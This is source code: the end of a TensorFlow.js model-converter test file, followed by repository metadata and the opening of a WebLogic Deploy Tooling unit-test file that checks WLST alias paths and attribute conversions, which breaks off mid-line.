self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) nodes = model_json['modelTopology']['node'] prelu_op = None fused_op = None depthwise_fused_op = None for node in nodes: if node['op'] == 'Prelu': prelu_op = node if node['op'] == '_FusedConv2D': fused_op = node if node['op'] == graph_rewrite_util.FUSED_DEPTHWISE_CONV2D: depthwise_fused_op = node self.assertTrue(prelu_op is None) self.assertIsNot(fused_op, None) self.assertIsNot(depthwise_fused_op, None) fused_ops = list(map(base64.b64decode, fused_op['attr']['fused_ops']['list']['s'])) self.assertEqual(fused_ops, [b'BiasAdd', b'Prelu']) self.assertEqual(fused_op['attr']['num_args']['i'], '2') depthwise_fused_ops = list( map(base64.b64decode, depthwise_fused_op['attr']['fused_ops']['list']['s'])) self.assertEqual(depthwise_fused_ops, [b'BiasAdd', b'Prelu']) self.assertEqual(depthwise_fused_op['attr']['num_args']['i'], '2') # Check meta-data in the artifact JSON. self.assertEqual(model_json['format'], 'graph-model') self.assertEqual( model_json['convertedBy'], 'TensorFlow.js Converter v%s' % version.version) self.assertEqual(model_json['generatedBy'], tf.__version__) self.assertTrue( glob.glob( os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'group*-*'))) def test_convert_saved_model_with_unfusable_prelu(self): self._create_saved_model_with_unfusable_prelu() tf_saved_model_conversion_v2.convert_tf_saved_model( os.path.join(self._tmp_dir, SAVED_MODEL_DIR), os.path.join(self._tmp_dir, SAVED_MODEL_DIR) ) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) nodes = model_json['modelTopology']['node'] prelu_op = None for node in nodes: if node['op'] == 'Prelu': prelu_op = node break self.assertTrue(prelu_op) # Check meta-data in the artifact JSON. self.assertEqual(model_json['format'], 'graph-model') self.assertEqual( model_json['convertedBy'], 'TensorFlow.js Converter v%s' % version.version) self.assertEqual(model_json['generatedBy'], tf.__version__) self.assertTrue( glob.glob( os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'group*-*'))) def test_convert_saved_model_with_control_flow(self): self._create_saved_model_with_control_flow() tf_saved_model_conversion_v2.convert_tf_saved_model( os.path.join(self._tmp_dir, SAVED_MODEL_DIR), os.path.join(self._tmp_dir, SAVED_MODEL_DIR) ) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) weights_manifest = model_json['weightsManifest'] self.assertCountEqual(weights_manifest[0]['paths'], ['group1-shard1of1.bin']) self.assertIn('weights', weights_manifest[0]) # Check meta-data in the artifact JSON. self.assertEqual(model_json['format'], 'graph-model') self.assertEqual( model_json['convertedBy'], 'TensorFlow.js Converter v%s' % version.version) self.assertEqual(model_json['generatedBy'], tf.__version__) self.assertTrue( glob.glob( os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'group*-*'))) def test_convert_saved_model_with_control_flow_v2(self): self._create_saved_model_with_control_flow() tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) tf_saved_model_conversion_v2.convert_tf_saved_model( tfjs_path, tfjs_path, control_flow_v2=True ) # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) weights_manifest = model_json['weightsManifest'] self.assertCountEqual(weights_manifest[0]['paths'], ['group1-shard1of1.bin']) self.assertIn('weights', weights_manifest[0]) add_y_weight = None for weight in weights_manifest[0]['weights']: if 'add/y' in weight['name']: add_y_weight = weight self.assertIsNot(add_y_weight, None) self.assertFalse(add_y_weight['name'].startswith('add/y')) nodes = model_json['modelTopology']['node'] while_op = None for node in nodes: self.assertNotIn('Merge', node['op']) self.assertNotIn('Switch', node['op']) if node['op'] == 'StatelessWhile': while_op = node self.assertIsNot(while_op, None) # Check meta-data in the artifact JSON. self.assertEqual(model_json['format'], 'graph-model') self.assertEqual( model_json['convertedBy'], 'TensorFlow.js Converter v%s' % version.version) self.assertEqual(model_json['generatedBy'], tf.__version__) self.assertTrue( glob.glob( os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'group*-*'))) def test_convert_saved_model_sharded(self): self._create_saved_model() model_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) # Do initial conversion without sharding. tf_saved_model_conversion_v2.convert_tf_saved_model(model_path, tfjs_path) weight_files = glob.glob(os.path.join(tfjs_path, 'group*.bin')) # Get size of weights in bytes after graph optimizations. optimized_total_weight = sum([os.path.getsize(f) for f in weight_files]) # Due to the shard size, there ought to be 2 shards after conversion. weight_shard_size_bytes = int(optimized_total_weight * 0.8) tfjs_path = os.path.join(self._tmp_dir, 'sharded_model') # Convert Saved Model again with shard argument set. tf_saved_model_conversion_v2.convert_tf_saved_model( model_path, tfjs_path, weight_shard_size_bytes=weight_shard_size_bytes) weight_files = sorted(glob.glob(os.path.join(tfjs_path, 'group*.bin'))) self.assertEqual(len(weight_files), 2) weight_file_sizes = [os.path.getsize(f) for f in weight_files] self.assertEqual(sum(weight_file_sizes), optimized_total_weight) self.assertLess(weight_file_sizes[1], weight_file_sizes[0]) def test_optimizer_add_unsupported_op(self): self._create_unsupported_saved_model() with self.assertRaisesRegexp( # pylint: disable=deprecated-method ValueError, r'^Unsupported Ops'): tf_saved_model_conversion_v2.convert_tf_saved_model( os.path.join(self._tmp_dir, SAVED_MODEL_DIR), os.path.join(self._tmp_dir, SAVED_MODEL_DIR) ) def test_convert_saved_model_skip_op_check(self): self._create_unsupported_saved_model() tf_saved_model_conversion_v2.convert_tf_saved_model( os.path.join(self._tmp_dir, SAVED_MODEL_DIR), os.path.join(self._tmp_dir, SAVED_MODEL_DIR), skip_op_check=True ) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) weights_manifest = model_json['weightsManifest'] self.assertCountEqual(weights_manifest[0]['paths'], ['group1-shard1of1.bin']) self.assertIn('weights', weights_manifest[0]) self.assertTrue( glob.glob( os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'group*-*'))) # (TODO: piyu) disable this test, need to change # convert_variables_to_constants_v2 to set function_optimization=aggressive. @unittest.skip('not supported') def test_convert_saved_model_strip_debug_ops(self): self._create_saved_model_with_debug_ops() tf_saved_model_conversion_v2.convert_tf_saved_model( os.path.join(self._tmp_dir, SAVED_MODEL_DIR), os.path.join(self._tmp_dir, SAVED_MODEL_DIR), strip_debug_ops=True) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) weights_manifest = model_json['weightsManifest'] self.assertCountEqual(weights_manifest[0]['paths'], ['group1-shard1of1.bin']) self.assertIn('weights', weights_manifest[0]) self.assertTrue( glob.glob( os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'group*-*'))) def test_convert_hub_module_v1(self): self._create_hub_module() module_path = os.path.join(self._tmp_dir, HUB_MODULE_DIR) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) tf_saved_model_conversion_v2.convert_tf_hub_module(module_path, tfjs_path) # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) weights_manifest = model_json['weightsManifest'] self.assertCountEqual(weights_manifest[0]['paths'], ['group1-shard1of1.bin']) self.assertIn('weights', weights_manifest[0]) self.assertTrue( glob.glob( os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'group*-*'))) def test_convert_hub_module_v1_sharded(self): self._create_hub_module() module_path = os.path.join(self._tmp_dir, HUB_MODULE_DIR) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) # Do initial conversion without sharding. tf_saved_model_conversion_v2.convert_tf_hub_module(module_path, tfjs_path) weight_files = glob.glob(os.path.join(tfjs_path, 'group*.bin')) # Get size of weights in bytes after graph optimizations. optimized_total_weight = sum([os.path.getsize(f) for f in weight_files]) # Due to the shard size, there ought to be 3 shards after conversion. weight_shard_size_bytes = int(optimized_total_weight * 0.4) tfjs_path = os.path.join(self._tmp_dir, 'sharded_model') # Convert Hub model again with shard argument set. tf_saved_model_conversion_v2.convert_tf_hub_module( module_path, tfjs_path, weight_shard_size_bytes=weight_shard_size_bytes) weight_files = sorted(glob.glob(os.path.join(tfjs_path, 'group*.bin'))) self.assertEqual(len(weight_files), 3) weight_file_sizes = [os.path.getsize(f) for f in weight_files] self.assertEqual(sum(weight_file_sizes), optimized_total_weight) self.assertEqual(weight_file_sizes[0], weight_file_sizes[1]) self.assertLess(weight_file_sizes[2], weight_file_sizes[0]) def test_convert_hub_module_v2(self): self._create_saved_model() module_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) tfjs_path = os.path.join(self._tmp_dir, SAVED_MODEL_DIR) tf_saved_model_conversion_v2.convert_tf_hub_module( module_path, tfjs_path, "serving_default", "serve") # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) self.assertIsNot(signature['inputs'], None) self.assertIsNot(signature['outputs'], None) weights_manifest = model_json['weightsManifest'] self.assertCountEqual(weights_manifest[0]['paths'], ['group1-shard1of1.bin']) self.assertIn('weights', weights_manifest[0]) self.assertTrue( glob.glob( os.path.join(self._tmp_dir, SAVED_MODEL_DIR, 'group*-*'))) def test_convert_frozen_model(self): self.create_frozen_model() print(glob.glob( os.path.join(self._tmp_dir, FROZEN_MODEL_DIR, '*'))) tf_saved_model_conversion_v2.convert_tf_frozen_model( os.path.join(self._tmp_dir, FROZEN_MODEL_DIR, 'model.frozen'), 'Softmax', os.path.join(self._tmp_dir, FROZEN_MODEL_DIR)) tfjs_path = os.path.join(self._tmp_dir, FROZEN_MODEL_DIR) # Check model.json and weights manifest. with open(os.path.join(tfjs_path, 'model.json'), 'rt') as f: model_json = json.load(f) self.assertTrue(model_json['modelTopology']) self.assertIsNot(model_json['modelTopology']['versions'], None) signature = model_json['userDefinedMetadata']['signature'] self.assertIsNot(signature, None) # frozen model signature has no input nodes. self.assertIsNot(signature['outputs'], None) weights_manifest = model_json['weightsManifest'] self.assertCountEqual(weights_manifest[0]['paths'], ['group1-shard1of1.bin']) self.assertIn('weights', weights_manifest[0]) self.assertTrue( glob.glob( os.path.join(self._tmp_dir, FROZEN_MODEL_DIR, 'group*-*'))) if __name__ == '__main__': tf.test.main()

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0.043606

0.840306

0.81682

0.792449

0.771361

0.757808

0.740845

0

0.011873

0.193809

37,088

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81

39.081138

0.782709

0.07981

0

0.687583

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null

0

1

0

null

0

6

9c42a372ff15c2502e4f709baf9d2031db52277d

65,653

py

Python

core/src/test/python/aliases_test.py

zeusbaba/weblogic-deploy-tooling

78d4ea18f5a45f8c890556d99d6d1acd68d69eda

[ "Apache-2.0", "MIT" ]

null

core/src/test/python/aliases_test.py

zeusbaba/weblogic-deploy-tooling

78d4ea18f5a45f8c890556d99d6d1acd68d69eda

[ "Apache-2.0", "MIT" ]

null

core/src/test/python/aliases_test.py

zeusbaba/weblogic-deploy-tooling

78d4ea18f5a45f8c890556d99d6d1acd68d69eda

[ "Apache-2.0", "MIT" ]

null

""" Copyright (c) 2017, 2020, Oracle Corporation and/or its affiliates. Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl. """ from org.python.modules import jarray import unittest from java.lang import Boolean from java.lang import String, Long from java.util import Properties from oracle.weblogic.deploy.aliases import AliasException from oracle.weblogic.deploy.aliases import TypeUtils from wlsdeploy.aliases.aliases import Aliases from wlsdeploy.aliases.location_context import LocationContext import wlsdeploy.aliases.model_constants as FOLDERS from wlsdeploy.aliases.validation_codes import ValidationCodes from wlsdeploy.aliases.wlst_modes import WlstModes from wlsdeploy.exception import exception_helper import wlsdeploy.logging.platform_logger as platform_logger from wlsdeploy.util.cla_utils import CommandLineArgUtil from wlsdeploy.util.model_context import ModelContext class AliasesTestCase(unittest.TestCase): """ 1) Unit tests must be a class that extends unittest.TestCase 2) Class methods with names starting with 'test' will be executed by the framework (all others skipped) """ wls_version = '12.2.1.3' arg_map = { CommandLineArgUtil.ORACLE_HOME_SWITCH: '/oracleHome', CommandLineArgUtil.DOMAIN_HOME_SWITCH: '' } logger = platform_logger.PlatformLogger('wlsdeploy.unittest') model_context = ModelContext("test", arg_map) # create a set of aliases for use with WLST aliases = Aliases(model_context=model_context, wlst_mode=WlstModes.OFFLINE, wls_version=wls_version) online_aliases = Aliases(model_context=model_context, wlst_mode=WlstModes.ONLINE, wls_version=wls_version) def testDomainLevelAttributeAccessibility(self): location = LocationContext() string_value = ['9002', 9002] model_attribute_name = 'AdministrationPort' model_attribute_value = string_value[0] wlst_attribute_name, wlst_attribute_value = \ self.aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, model_attribute_value) self.assertEqual(wlst_attribute_value, string_value[1]) wlst_attribute_name = 'AdministrationPort' wlst_attribute_value = string_value[0] model_attribute_name, model_attribute_value = \ self.aliases.get_model_attribute_name_and_value(location, wlst_attribute_name, wlst_attribute_value) self.assertEqual(model_attribute_value, None) location.append_location(FOLDERS.JMX) location.add_name_token("JMX", 'mydomain') string_value = ['true', 'true'] model_attribute_name = 'EditMBeanServerEnabled' model_attribute_value = string_value[0] wlst_attribute_name, wlst_attribute_value = \ self.aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, model_attribute_value) self.assertEqual(wlst_attribute_value, string_value[1]) return def testDatasourceRootPath(self): expected = '/JDBCSystemResource/my-datasource' location = LocationContext() location.append_location(FOLDERS.JDBC_SYSTEM_RESOURCE) token = self.aliases.get_name_token(location) if token: location.add_name_token(token, 'my-datasource') path = self.aliases.get_wlst_attributes_path(location) self.assertEqual(path, expected) location = LocationContext() kwargs = {token: 'my-datasource'} location.append_location(FOLDERS.JDBC_SYSTEM_RESOURCE, **kwargs) path = self.aliases.get_wlst_attributes_path(location) self.assertEqual(path, expected) return def testDatasourceParamsPath(self): expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource/JDBCDataSourceParams/NO_NAME_0' location = get_jdbc_ds_params_location('my-datasource', self.aliases) path = self.aliases.get_wlst_attributes_path(location) self.assertEqual(path, expected) return def testDatasourceDriverPropertiesPath(self): location = get_jdbc_params_properties_location('my-datasource', self.aliases) expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource/' \ 'JDBCDriverParams/NO_NAME_0/Properties/NO_NAME_0/Property' path1 = self.aliases.get_wlst_list_path(location) self.assertEqual(path1, expected) online_location = get_jdbc_params_properties_location('my-datasource', self.online_aliases) expected = '/JDBCSystemResources/my-datasource/JDBCResource/my-datasource/' \ 'JDBCDriverParams/my-datasource/Properties/my-datasource/Properties' path2 = self.online_aliases.get_wlst_list_path(online_location) self.assertEqual(path2, expected) # Path to access a single property by name (user in this example) expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource/' \ 'JDBCDriverParams/NO_NAME_0/Properties/NO_NAME_0/Property/user' token = self.aliases.get_name_token(location) if token: location.add_name_token(token, 'user') path1 = self.aliases.get_wlst_attributes_path(location) self.assertEqual(path1, expected) expected = '/JDBCSystemResources/my-datasource/JDBCResource/my-datasource/' \ 'JDBCDriverParams/my-datasource/Properties/my-datasource/Properties/user' online_location.add_name_token(self.aliases.get_name_token(online_location), 'user') path2 = self.online_aliases.get_wlst_attributes_path(online_location) self.assertEqual(path2, expected) return def testDatasourceMbeanListPath(self): expected = '/JDBCSystemResource' location = LocationContext() location.append_location(FOLDERS.JDBC_SYSTEM_RESOURCE) path = self.aliases.get_wlst_list_path(location) self.assertEqual(path, expected) return def testDatasourceSubfoldersPath(self): expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource' location = get_jdbc_resource_location('my-datasource', self.aliases) path = self.aliases.get_wlst_subfolders_path(location) self.assertEqual(path, expected) return def testMachineMbeanListPath(self): expected = '/Machine' location = LocationContext() location.append_location(FOLDERS.MACHINE) path = self.aliases.get_wlst_list_path(location) self.assertEqual(path, expected) return def testDatasourceMbeanType(self): expected = 'JDBCSystemResource' location = LocationContext() location.append_location(FOLDERS.JDBC_SYSTEM_RESOURCE) mbean_type = self.aliases.get_wlst_mbean_type(location) self.assertEqual(mbean_type, expected) return def testDatasourceSubfolderMbeanType(self): expected = 'JDBCDriverParams' location = get_jdbc_driver_params_location('my-datasource', self.aliases) mbean_type = self.aliases.get_wlst_mbean_type(location) self.assertEqual(mbean_type, expected) return def testDatasourceSubFolderMbeanName(self): expected = 'NO_NAME_0' location = get_jdbc_ds_params_location('my-datasource', self.aliases) mbean_name = self.aliases.get_wlst_mbean_name(location) self.assertEqual(mbean_name, expected) return def testGetModelSubFolders(self): expected = ['JDBCOracleParams', 'JDBCConnectionPoolParams', 'JDBCXAParams', 'JDBCDataSourceParams', 'JDBCDriverParams'] location = get_jdbc_resource_location('my-datasource', self.aliases) names = self.aliases.get_model_subfolder_names(location) self.assertEqual(len(names), len(expected)) for name in names: self.assertEqual(name in expected, True) return def testAppDeploymentPathTokenReplacement(self): expected = self.model_context.replace_token_string('@@PWD@@/target/applications/simpleear.ear') location = LocationContext() location.append_location(FOLDERS.APPLICATION) token = self.aliases.get_name_token(location) if token: location.add_name_token(token, 'simpleear') model_attribute_name = 'SourcePath' model_attribute_value = '@@PWD@@/target/applications/simpleear.ear' wlst_attribute_name, wlst_attribute_value = \ self.aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, model_attribute_value) self.assertEqual(wlst_attribute_value, expected) expected = self.model_context.replace_token_string('@@WL_HOME@@/common/deployable-libraries/jsf-2.0.war') location = LocationContext() location.append_location(FOLDERS.LIBRARY) token = self.aliases.get_name_token(location) if token: location.add_name_token(token, 'jsf#2.0@1.0.0.0_2-0-2') model_attribute_name = 'SourcePath' model_attribute_value = '@@WL_HOME@@/common/deployable-libraries/jsf-2.0.war' wlst_attribute_name, wlst_attribute_value = \ self.aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, model_attribute_value) self.assertEqual(wlst_attribute_value, expected) return def testReadOnlyAttributeAccess(self): location = LocationContext() location.append_location(FOLDERS.APPLICATION) token = self.aliases.get_name_token(location) if token: location.add_name_token(token, 'simpleear') model_attribute_name = 'AbsoluteSourcePath' model_attribute_value = '@@PWD@@/target/applications/simpleear.ear' wlst_attribute_name, wlst_attribute_value = \ self.online_aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, model_attribute_value) self.assertEqual(wlst_attribute_name, None) self.assertEqual(wlst_attribute_value, None) return def testWlstAttributeValueConversion(self): location = get_jdbc_ds_params_location('my-datasource', self.aliases) string_value = ['Hello', 'Hello'] model_attribute_name = 'AlgorithmType' model_attribute_value = string_value[0] wlst_attribute_name, wlst_attribute_value = \ self.aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, model_attribute_value) self.assertEqual(wlst_attribute_value, string_value[1]) string_value = ['123', 123] model_attribute_name = 'RowPrefetchSize' model_attribute_value = string_value[0] wlst_attribute_name, wlst_attribute_value = \ self.aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, model_attribute_value) self.assertEqual(wlst_attribute_value, string_value[1]) string_value = ['3600', Long(3600)] jms_location = LocationContext() jms_location.append_location(FOLDERS.JMS_SYSTEM_RESOURCE) jms_location.add_name_token(self.aliases.get_name_token(jms_location), 'my-module') jms_location.append_location(FOLDERS.JMS_RESOURCE) add_default_token_value(jms_location, self.aliases) jms_location.append_location(FOLDERS.CONNECTION_FACTORY) jms_location.add_name_token(self.aliases.get_name_token(jms_location), 'my-connectionfactory') jms_location.append_location(FOLDERS.DEFAULT_DELIVERY_PARAMS) add_default_token_value(jms_location, self.aliases) model_attribute_name = 'DefaultTimeToLive' model_attribute_value = string_value[0] wlst_attribute_name, wlst_attribute_value = \ self.aliases.get_wlst_attribute_name_and_value(jms_location, model_attribute_name, model_attribute_value) self.assertEqual(wlst_attribute_value, string_value[1]) self.assertEqual(wlst_attribute_value.getClass().getName(), 'java.lang.Long') string_value = [1, 'true'] model_attribute_name = 'RowPrefetch' model_attribute_value = string_value[0] wlst_attribute_name, wlst_attribute_value = \ self.aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, model_attribute_value) self.assertEqual(wlst_attribute_value, string_value[1]) return def testWlstAttributeListValueConversion(self): location = get_jdbc_ds_params_location('my-datasource', self.aliases) model_attribute_name = 'JNDIName' model_attribute_value = 'com.bea.datasource1, com.bea.datasource2' wlst_attribute_name, wlst_attribute_value = \ self.aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, model_attribute_value) offlineList = ['com.bea.datasource1', 'com.bea.datasource2'] self.assertEqual(wlst_attribute_value, offlineList) onlineList = jarray.zeros(2, String) onlineList[0] = 'com.bea.datasource1' onlineList[1] = 'com.bea.datasource2' wlst_attribute_name, wlst_attribute_value = \ self.online_aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, model_attribute_value) self.assertEqual(wlst_attribute_value, onlineList) wlst_attribute_name, wlst_attribute_value = \ self.aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, onlineList) self.assertEqual(wlst_attribute_value, offlineList) return def testModelAttributeValueConversion(self): location = LocationContext() location.append_location(FOLDERS.JDBC_SYSTEM_RESOURCE) token = self.aliases.get_name_token(location) if token: location.add_name_token(token, 'my-datasource') location.append_location(FOLDERS.JDBC_RESOURCE) location.append_location(FOLDERS.JDBC_DATASOURCE_PARAMS) string_value = ['Hello', 'Hello'] wlst_attribute_name = 'AlgorithmType' wlst_attribute_value = string_value[0] model_attribute_name, model_attribute_value = \ self.aliases.get_model_attribute_name_and_value(location, wlst_attribute_name, wlst_attribute_value) self.assertEqual(model_attribute_value, string_value[1]) string_value = ['123', 123] wlst_attribute_name = 'RowPrefetchSize' wlst_attribute_value = string_value[0] model_attribute_name, model_attribute_value = \ self.aliases.get_model_attribute_name_and_value(location, wlst_attribute_name, wlst_attribute_value) self.assertEqual(model_attribute_value, string_value[1]) string_value = [1, 'true'] wlst_attribute_name = 'RowPrefetch' wlst_attribute_value = string_value[0] model_attribute_name, model_attribute_value = \ self.aliases.get_model_attribute_name_and_value(location, wlst_attribute_name, wlst_attribute_value) self.assertEqual(model_attribute_value, string_value[1]) return def testConvertToTypeJarray(self): location = LocationContext() location.append_location(FOLDERS.SERVER) token_name = self.aliases.get_name_token(location) location.add_name_token(token_name, 'AdminServer') location.append_location('FederationServices') wlst_name = 'AssertionConsumerUri' wlst_value = jarray.zeros(2, String) wlst_value[0] = 'abc' wlst_value[1] = 'def' model_name, model_value = self.aliases.get_model_attribute_name_and_value(location, wlst_name, wlst_value) self.assertEqual(model_name, wlst_name) self.assertEqual(type(model_value), list) self.assertEqual(model_value, ['abc', 'def']) return def testGetWlstAttributeNameAndValue(self): location = get_jdbc_ds_params_location('my-datasource', self.aliases) # get wlst attribute value should return the value even if its the default string_value = ['0', 0] model_attribute_name = 'RowPrefetchSize' model_attribute_value = string_value[0] wlst_attribute_name, wlst_attribute_value = \ self.aliases.get_wlst_attribute_name_and_value(location, model_attribute_name, model_attribute_value) self.assertEqual(wlst_attribute_value, string_value[1]) return def testGetModelAttributeNameAndValue(self): location = get_jdbc_ds_params_location('my-datasource', self.aliases) # get model attribute value should return the value only if its NOT the default boolean_values = ['false', None] wlst_attribute_name = 'RowPrefetch' wlst_attribute_value = boolean_values[0] model_attribute_name, model_attribute_value = \ self.aliases.get_model_attribute_name_and_value(location, wlst_attribute_name, wlst_attribute_value) self.assertEqual(model_attribute_value, boolean_values[1]) # get model attribute value should return the value only if its NOT the default string_value = [None, None] wlst_attribute_name = 'RowPrefetchSize' wlst_attribute_value = string_value[0] model_attribute_name, model_attribute_value = \ self.aliases.get_model_attribute_name_and_value(location, wlst_attribute_name, wlst_attribute_value) self.assertEqual(model_attribute_value, string_value[1]) # get model attribute value should return the value only if its NOT the default location = LocationContext() location.append_location(FOLDERS.SERVER) boolean_values = [0, None] wlst_attribute_name = 'NetworkClassLoadingEnabled' wlst_attribute_value = boolean_values[0] model_attribute_name, model_attribute_value = \ self.aliases.get_model_attribute_name_and_value(location, wlst_attribute_name, wlst_attribute_value) self.assertEqual(model_attribute_value, boolean_values[1]) return def testGetWlstAttributeName(self): location = LocationContext() location.append_location(FOLDERS.JDBC_SYSTEM_RESOURCE) token = self.aliases.get_name_token(location) if token: location.add_name_token(token, 'my-datasource') location.append_location(FOLDERS.JDBC_RESOURCE) location.append_location(FOLDERS.JDBC_DATASOURCE_PARAMS) model_attribute_name = 'RowPrefetch' wlst_attribute_name = self.aliases.get_wlst_attribute_name(location, model_attribute_name) self.assertEqual(wlst_attribute_name, 'RowPrefetch') return def testGetWlstAttributeName2(self): location=LocationContext().append_location(FOLDERS.JMS_SYSTEM_RESOURCE) location.add_name_token(self.aliases.get_name_token(location), 'TheModule') location.append_location(FOLDERS.JMS_RESOURCE) add_default_token_value(location, self.aliases) location.append_location(FOLDERS.DISTRIBUTED_TOPIC) location.add_name_token(self.aliases.get_name_token(location), 'TheTopic') model_attribute_name = 'SafExportPolicy' result = self.aliases.get_wlst_attribute_name(location, model_attribute_name) self.assertEqual(result, 'SafExportPolicy') result = self.online_aliases.get_wlst_attribute_name(location, model_attribute_name) self.assertEqual(result, 'SAFExportPolicy') return def testIsWlstModelAttributeName(self): wls_version = '10.3.6' online_aliases = Aliases(self.model_context, WlstModes.ONLINE, wls_version) location = get_jdbc_driver_params_location('my-datasource', self.aliases) model_attribute_name = 'QosDegradationAllowed' path = self.aliases.get_model_folder_path(location) expected = exception_helper.get_message('WLSDPLY-08408', model_attribute_name, path, wls_version) result, message = online_aliases.is_valid_model_attribute_name(location, model_attribute_name) self.assertEqual(result, ValidationCodes.INVALID) self.assertEqual(message, expected) offline_aliases = Aliases(self.model_context, WlstModes.OFFLINE, wls_version) location.pop_location() location.append_location(FOLDERS.JDBC_ORACLE_PARAMS) add_default_token_value(location, self.aliases) model_attribute_name = 'OnsWalletPasswordEncrypted' path = self.aliases.get_model_folder_path(location) expected = exception_helper.get_message('WLSDPLY-08407', model_attribute_name, path, wls_version) result, message = offline_aliases.is_valid_model_attribute_name(location, model_attribute_name) self.assertEqual(result, ValidationCodes.VALID) self.assertEqual(message, expected) location.pop_location() location.append_location(FOLDERS.JDBC_CONNECTION_POOL_PARAMS) add_default_token_value(location, self.aliases) model_attribute_name = 'CountOfTestFailuresTillFlush' earliest_version = '12.1.2' path = self.aliases.get_model_folder_path(location) expected = exception_helper.get_message('WLSDPLY-08207', model_attribute_name, path, wls_version, earliest_version) result, message = online_aliases.is_valid_model_attribute_name(location, model_attribute_name) self.assertEqual(result, ValidationCodes.VERSION_INVALID) self.assertEqual(message, expected) return def testPropertyTypes(self): expected = Properties() expected.put('key1', 'val1') expected.put('key2', 'val2') expected.put('key3', 'val3') test_string = 'key1=val1, key2=val2, key3=val3' result = TypeUtils.convertToType('properties', test_string) self.assertEqual(expected, result) test_dict = {"key1": "val1", "key2": "val2", "key3": "val3"} result = TypeUtils.convertToType('properties', test_dict) self._assertMapEqual(expected, result) def testNewGetWlstPaths(self): attr_expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource/JDBCDriverParams/NO_NAME_0' folder_expected = attr_expected list_expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource/JDBCDriverParams' create_expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource' location = get_jdbc_driver_params_location('my-datasource', self.aliases) result = self.aliases.get_wlst_attributes_path(location) self.assertEqual(result, attr_expected) result = self.aliases.get_wlst_subfolders_path(location) self.assertEqual(result, folder_expected) result = self.aliases.get_wlst_list_path(location) self.assertEqual(result, list_expected) result = self.aliases.get_wlst_create_path(location) self.assertEqual(result, create_expected) attr_expected = '/JDBCSystemResource/my-datasource/JdbcResource/my-datasource/JDBCDriverParams' \ '/NO_NAME_0/Properties/NO_NAME_0/Property/user' folder_expected = attr_expected list_expected = 